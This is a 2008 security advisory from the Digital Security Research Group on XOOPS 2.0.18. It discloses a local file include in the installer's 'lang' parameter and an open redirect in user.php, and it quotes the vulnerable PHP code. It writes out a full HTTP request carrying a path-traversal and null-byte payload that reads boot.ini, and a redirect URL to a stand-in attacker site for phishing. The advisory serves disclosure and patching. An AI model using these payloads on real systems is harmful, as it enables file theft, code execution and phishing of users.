Digital Security Research Group [DSecRG] Advisory #DSECRG-08-009 Application: XOOPS Versions Affected: XOOPS 2.0.18 Vendor URL: http://www.xoops.org/ Bugs: Local File Include,URL Redirecting phishing Exploits: YES Reported: 28.01.2008 Vendor response: 28.01.2008 Date of Public Advisory: 04.02.2008 Authors: Alexandr Polyakov, Stas Svistunovich Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** XOOPS system has multiple security vulnerabilities: 1. Local File Include 2. Url redirection Phishing Details ******* 1. Local File Include Attacker can inject PHP code and execute OS commands with webserver user privileges vulnerable script htdocs/install/index.php vulnerable POST parameter lang vulnerable code: ************************************************ $language = 'english'; if ( !empty($_POST['lang']) ) { $language = $_POST['lang']; . . . . if ( file_exists("./language/".$language."/install.php") ) { include_once "./language/".$language."/install.php"; ************************************************ Example: POST /xoops-2.0.18/htdocs/install/index.php HTTP/1.0 Cookie: install_lang=english; lang=russian; PHPSESSID=p113cjpff5dkrkoka01al18kk5; dk_sid=sfa6hlhn75pobg6kqe5m8p30j1 Content-Length: 67 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: localhost Content-Type: application/x-www-form-urlencoded Referer: http://localhost/xoops-2.0.18/htdocs/install/index.php lang=/../../../../../../../../boot.ini%00.html&op=start&submit=Next --------------------------------------------------------------------- 2. URL Redirection phishing Vulnerability found in script htdocs/user.php?xoops_redirect in post parameter name "xoops_redirect" Example: http://[server]/[installdir]/htdocs/user.php?xoops_redirect=http://evils ite.com Fix Information *************** Vendor fix this flaw in svn on 28.10.2007. http://xoops.svn.sourceforge.net/viewvc/xoops?view=rev&revision=1282 Tracker: http://sourceforge.net/tracker/index.php?func=detail&atid=430840&aid=188 1236&group_id=41586 About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian) -- Digital Security Research Group mailto:research (at) dsec (dot) ru [email concealed]